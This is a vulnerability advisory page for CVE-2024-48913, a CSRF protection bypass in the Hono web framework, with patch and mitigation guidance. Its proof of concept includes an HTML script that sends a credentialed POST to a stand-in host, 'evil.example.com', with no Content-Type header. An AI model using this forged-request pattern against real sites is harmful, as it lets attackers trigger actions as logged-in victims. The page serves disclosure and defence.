CVE-2024-48913 is a medium-severity (CVSS 5.9) Cross-Site Request Forgery (CSRF) vulnerability in hono. A fix is available for hono — see the affected versions and patch details below.
Hono vulnerable to bypass of CSRF Middleware by a request without Content-Type header.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-48913.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
hononpmDescription
Summary
Bypass CSRF Middleware by a request without Content-Type herader.
Details
Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.
PoC
// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
return c.html('Hello Hono!')
})
app.post('/', async (c) => {
console.log("executed")
return c.text( await c.req.text())
})
Deno.serve(app.fetch)
<!-- PoC.html -->
<script>
async function myclick() {
await fetch("http://evil.example.com", {
method: "POST",
credentials: "include",
body:new Blob([`test`],{}),
});
}
</script>
<input type="button" onclick="myclick()" value="run" />
Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.
await fetch("http://localhost:8000", { method: "POST", credentials: "include"});
Impact
Bypass csrf protection implemented with hono csrf middleware.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | hono | all versions | 4.6.5npm install hono@4.6.5 |
Affected Products
honohonoDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for hono, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update hono to 4.6.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-48913 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2024-48913 in your dependencies?
Find it across npm, including transitive dependencies.